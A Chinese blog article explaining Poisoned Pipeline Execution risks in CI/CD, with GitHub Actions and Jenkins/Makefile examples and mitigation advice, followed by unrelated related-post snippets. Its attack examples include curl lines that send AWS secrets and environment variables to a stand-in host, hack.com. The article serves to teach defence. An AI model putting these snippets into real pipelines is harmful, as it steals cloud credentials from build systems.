十大 CI/CD 安全风险(三)
在上一篇文章,我们了解了依赖链滥用和基于流水线的访问控制不足这两大安全风险,并给出缓解风险的安全建议。本篇文章将着重介绍 PPE 风险,并提供缓解相关风险的安全建议与实践。
Poisoned Pipeline Execution (PPE) 风险指的是攻击者能够访问源代码控制系统,但无法访问构建环境,通过将恶意代码/命令注入构建流水线配置来操纵构建过程,本质上是“中毒的”流水线和运行恶意代码作为构建过程的一部分。
风险描述
PPE 风险通常存在代码仓库中,可控对应的 CI 管道配置文件,通过修改 CI 配置文件达到执行对应命令的目的。有权操作 CI 配置文件或 CI 流水线任务所依赖的其他文件的攻击者,可以将恶意命令置入这些文件,通过执行这些恶意命令,最终“毒化”执行这些命令的 CI 流水线。执行未经审查的代码的流水线,比如一些直接由拉取请求或提交到任意存储库分支触发的流水线,由于在设计上包含未经任何审查或批准的代码,更容易受到 PPE 风险的影响。一旦能够在 CI 流水线中执行恶意代码,攻击者就可以在流水线身份的上下文中进行各种恶意操作。
PPE 的三种类型
直接 PPE(D-PPE)
在 D-PPE 场景中,攻击者修改他们有权访问的存储库中的 CI 配置文件,通过直接将更改推送到存储库上未受保护的远程分支,在提交 PR 时随着分叉的更改而变化。由于 CI 流水线执行是由“push”或“PR”事件触发的,并且流水线执行是由修改后的 CI 配置文件中的命令定义的,一旦构建流水线被攻击,攻击者的恶意命令最终会在构建节点中运行触发。
间接 PPE(I-PPE)
在以下几种情况下,即便攻击者能够访问 SCM 存储库,也无法使用 D-PPE:
流水线配置为从同一存储库中单独的受保护分支中提取 CI 配置文件。
CI 配置文件存储在与源代码不同的存储库中,则用户没有直接编辑它的选项。
CI 构建是在 CI 系统本身中定义的——而不是在存储在源代码中的文件中。
在这几种情况下,攻击者就会选择向流水线配置文件引用的文件中注入恶意代码来破坏流水线:
make:执行“Makefile”文件中定义的命令。
从流水线配置文件中引用的脚本,与源代码本身存储在同一存储库中(例如,
python myscript.py - myscript.py
将被攻击者操纵)。代码测试:在构建过程中在应用程序代码上运行的测试框架依赖于专用文件,这些文件与源代码本身存储在同一存储库中。能够操纵负责测试的代码的攻击者能够在构建中运行恶意命令。
自动工具:CI 中使用的 Linter 和安全扫描器通常也依赖于存储库中的配置文件。很多时候这些配置涉及从配置文件中定义的位置加载和运行外部代码。
因此,在 I-PPE 中,不同于将恶意命令直接插入流水线定义文件来破坏流水线,攻击者通过将恶意代码注入到配置文件引用的文件中,一旦触发流水线并运行相关文件中声明的命令,恶意代码最终会在流水线节点上执行。
公共 PPE(3PE)
执行 PPE 攻击需要访问托管流水线配置文件的存储库或其引用的文件。大多数情况下,只有开发人员拥有此类许可,也就是说攻击者必须要获得开发工程师对存储库的许可和权限才能执行直接或间接 PPE 攻击。
然而,在一些情况下,互联网上的匿名攻击者可以使用“中毒的” CI 流水线:公共存储库(例如开源项目)通常允许任何用户做出贡献,通过创建拉取请求,建议对代码进行更改。这些项目通常使用 CI 解决方案自动测试和构建,与私有项目类似。如果公共存储库的 CI 流水线运行匿名用户建议的未经审查的代码,它很容易受到公共 PPE 攻击,或者简称为 3PE。如果易受攻击的公共存储库的流水线在与私有存储库相同的 CI 实例上运行,这也会暴露例如私有项目的敏感信息这类的内部资产。
PPE 示例
通过 D-PPE (GitHub Actions) 窃取凭据
在以下示例中,GitHub 存储库与 GitHub Actions 工作流程连接,该工作流程获取代码、构建代码、运行测试并最终将工件部署到 AWS。当新代码被推送到存储库中的远程分支时,代码(包括流水线配置文件)由运行程序(工作流节点)获取。
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest steps:
- run: |
echo "building..."
echo "testing..."
echo "deploying..."
在这种情况下,D-PPE 攻击将按如下方式进行:
- 攻击者在存储库中创建了一个新的远程分支,在其中使用恶意命令更新流水线配置文件,这些命令旨在访问 GitHub 组织范围内的 AWS 凭证,然后将其发送到远程服务器。
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- env:
ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}
SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: |
curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com
推送更新后,将触发从存储库中获取代码的流水线,包括恶意流水线配置文件。
流水线基于被攻击者“毒化”的配置文件运行。根据攻击者的恶意命令,存储为存储库机密的 AWS 凭证被加载到内存中。
流水线继续执行攻击者的命令,将 AWS 凭证发送到攻击者控制的服务器。
攻击者随后能够使用窃取的凭证访问 AWS 生产环境。
通过 Indirect-PPE (Jenkins) 窃取凭证
这个例子展示的是 Jenkins 流水线从存储库中获取代码、构建、运行测试并最终部署到 AWS。在此流水线中,Jenkinsfile 是受保护的,因为是从存储库中的主分支中获取的。因此,攻击者无法操纵构建定义,也无法获取存储在 Jenkins 凭证存储中的机密或在其他节点上运行任务。
然而这并不代表流水线没有风险。在流水线的构建阶段,AWS 凭证作为环境变量加载,使其仅可用于在此阶段运行的命令。在下面的示例中,基于 Makefile 的内容(也存储在存储库中)的make命令作为此阶段的一部分运行。
The Jenkinsfile:
pipeline {
agent any
stages {
stage('build') {
steps {
withAWS(credentials: 'AWS_key', region: 'us-east-1') {
sh 'make build'
sh 'make clean'
}
}
}
stage('test') {
steps {
sh 'go test -v ./...'
...
The Makefile:
build:
echo "building…"
clean:
echo "cleaning…"
在这种情况下,I-PPE 攻击将按如下方式进行:
- 攻击者在存储库中创建拉取请求,将恶意命令附加到 Makefile 文件中。
build:
curl -d "$$(env)" hack.com
clean:
echo "cleaning…"
由于流水线配置为在针对 repo 的任何 PR 时触发,Jenkins 流水线被触发,从存储库中获取代码,包括恶意Makefile。
流水线基于存储在主分支中的配置文件运行。进入构建阶段,如原始 Jenkinsfile 中定义,将 AWS 凭证加载到环境变量中。然后,运行make build命令,该命令执行添加到Makefile中的恶意命令。
执行 Makefile 中定义的恶意构建函数,将 AWS 凭证发送到攻击者控制的服务器。
攻击者随后能够使用窃取的凭证访问 AWS 生产环境。
影响
在成功的 PPE 攻击中,攻击者在 CI 中执行未经审查的恶意代码。这为攻击者提供了与构建任务相同的能力和访问级别,包括:
访问 CI 任务可用的任何机密,比如作为环境变量注入的机密或存储在 CI 中的其他敏感信息。CI/CD 系统负责构建代码和部署工件,通常包含多个如云提供商、工件注册表和 SCM 本身的重要凭证和令牌。
访问任务节点有权访问的外部资产,例如存储在节点文件系统中的文件,或可通过底层主机访问的云环境的凭据。
能够以构建过程构建的合法代码为障眼法,将代码和工件进一步传送到流水线中。
能够访问作业节点的网络/环境中的其他主机和资产。
建议
预防和缓解 PPE 攻击,涉及跨 SCM 和 CI 系统的多项措施:
确保运行未经审查的代码的流水线在隔离节点上执行,不会暴露在机密和敏感环境中。
评估外部贡献者在公共存储库上触发流水线的需求。在可能的情况下,避免运行源自分叉的流水线,并考虑添加控制措施,例如要求手动批准流水线执行。
对于包含敏感信息的流水线,确保配置为触发 CI 系统中的流水线的每个分支,在 SCM 中都有相关的分支保护规则。
为了防止操纵 CI 配置文件在流水线中运行恶意代码,必须在流水线运行之前审查每个 CI 配置文件。或者CI 配置文件可以在远程分支中管理,与包含在流水线中构建的代码的分支分开。远程分支应配置为受保护。
从不需要的用户中删除对 SCM 存储库授予的权限。
每个流水线应该只能访问实现其目的所需的凭据。凭据应具有所需的最低权限。
十大 CI/CD 安全风险(三)的更多相关文章
- GitHub 十大 CI 工具
简评:GitHub 上最受欢迎的 CI 工具. 持续集成(Continuous integration)指的是,频繁地(一天多次)将代码集成到主干. 持续集成工具让产品可以快速迭代,同时还能保持高质量 ...
- jenkins-gitlab-harbor-ceph基于Kubernetes的CI/CD运用(三)
从最基础镜像到业务容器 构建 [为gitlab项目部署做铺垫] 业务镜像设计规划 目录结构 # pwd /data/k8s/app/myapp # tree . . ├── dockerfile │ ...
- 如何搭建安全的 CI/CD 管道?
Eolink 前端负责人黎芷君进行了<工程化- CI / CD>的主题演讲,围绕 CI/CD 管道安全的实践,分享自己在搭建 CI/CD 管道过程中所总结的重要经验,与开发者深入讨论 &q ...
- [转] gitlab 的 CI/CD 配置管理
[From] http://blog.51cto.com/flyfish225/2156602 gitlab 的 CI/CD 配置管理 (二) 标签(空格分隔):运维系列 一:gitlab CI/CD ...
- .Net Core自动化部署系列(三):使用GitLab CI/CD 自动部署Api到Docker
之前写过使用Jenkins实现自动化部署,最近正好没事研究了下GitLab的自动化部署,顺便记录一下. 使用GitLab部署我们需要准备两件事,第一个起码你得有个GitLab,自己搭建或者使用官方的都 ...
- 转:OWASP发布Web应用程序的十大安全风险
Open Web Application Security Project(OWASP)是世界范围内的非盈利组织,关注于提高软件的安全性.它们的使命是使应用软件更加安全,使企业和组织能够对应用安全风险 ...
- ASP.NET Core中的OWASP Top 10 十大风险-SQL注入
不定时更新翻译系列,此系列更新毫无时间规律,文笔菜翻译菜求各位看官老爷们轻喷,如觉得我翻译有问题请挪步原博客地址 本博文翻译自: https://dotnetcoretutorials.com/201 ...
- Azure Data Factory(三)集成 Azure Devops 实现CI/CD
一,引言 由于上一节文章内容过长,无法分享Azure Data Factory 的持续集成,持续发布.今天将着重介绍一下在使用 Azure DevOps Pipeline 发布,自动进行持续集成,并且 ...
- 近期关于CI/CD策略以及git分支模型的思考
近两个月由于个人处于新环境.新项目的适应阶段,没怎么提笔写些文章.中间有好几个想法想记录下来分享,但受限于没有很好的时间段供自己总结思考(也可以总结为间歇性懒癌和剧癌发作),便啥也没有更新.借这个周末 ...
随机推荐
- python 进程理解
简介 线程理解中介绍过,再回顾一遍,一个应用程序由多个进程组成,一个进程由多个线程组成,由操作系统根据优先级.时间片来绝对线程的运行 进程 python的进程不同于线程,在主流的cpython解释器下 ...
- 叫高二上一调?简要题解 (ACD)
A. 电压机制 题意转换为所有奇环的并排除掉所有偶环留下的边的个数 . 建出 DFS 树,然后只有返祖边可能构成环 . 于是类似树上差分,\(odd_u\) 统计奇环,\(even_u\) 统计偶环 ...
- Chapter 02 - Let's Get Started(C#篇)
详细解释,书上有哈.直接上代码和结果. Xcode下的自定义类 (通过new file-> cocoa class创建,保持和书中名字一样RandomController),自定义的fields ...
- DP 优化方法合集
0. 前言 写完这篇文章后发现自己对于 DP 的优化一窍不通,所以补了补 DP 的一些优化,写篇 blog 总结一下. 1. 单调队列/单调栈优化 1.2 算法介绍 这应该算是最基础的 DP 优化方法 ...
- NC20471 [ZJOI2007]棋盘制作
题目链接 题目 题目描述 国际象棋是世界上最古老的博弈游戏之一,和中国的围棋.象棋以及日本的将棋同享盛名. 据说国际象棋起源于易经的思想,棋盘是一个8*8大小的黑白相间的方阵,对应八八六十四卦,黑白对 ...
- 前端React项目遇到【Uncaught SyntaxError: Unexpected token '<'】错误的解决方式
问题描述 前端部署好项目后,打开相应的页面显示一片空白,打开console显示 问题排查思路 理解问题的本质 出现这个错误的原因是浏览器期望得到js文件,但页面却返回了html文件,如图中的js文件点 ...
- Go 语言图片处理简明教程
虽然 Go 语言主要用于 Web 后端以及各类中间件和基础设施开发,也难免遇到一些图像处理的需求.Go 语言提供的 image 标准库提供了基本的图片加载.裁剪.绘制等能力,可以帮助我们实现一些绘图需 ...
- MySQL主从-报错
安装: 环境: 系统:centos7 x3 master:192.168.220.133 slave1:192.168.220.136 slave2:192.168.220.137 mysql服务器, ...
- 经典01背包问题(C++)--详解
二维数组解决01背包问题 题目: 有 N 件物品和一个容量是 V 的背包.每件物品只能使用一次. 第 i 件物品的体积是 vi,价值是 wi. 求解将哪些物品装入背包,可使这些物品的总体积不超过背包容 ...
- 算法模板:dijkstra
#include<iostream> #include<algorithm> #include<cstring> #include<string> #i ...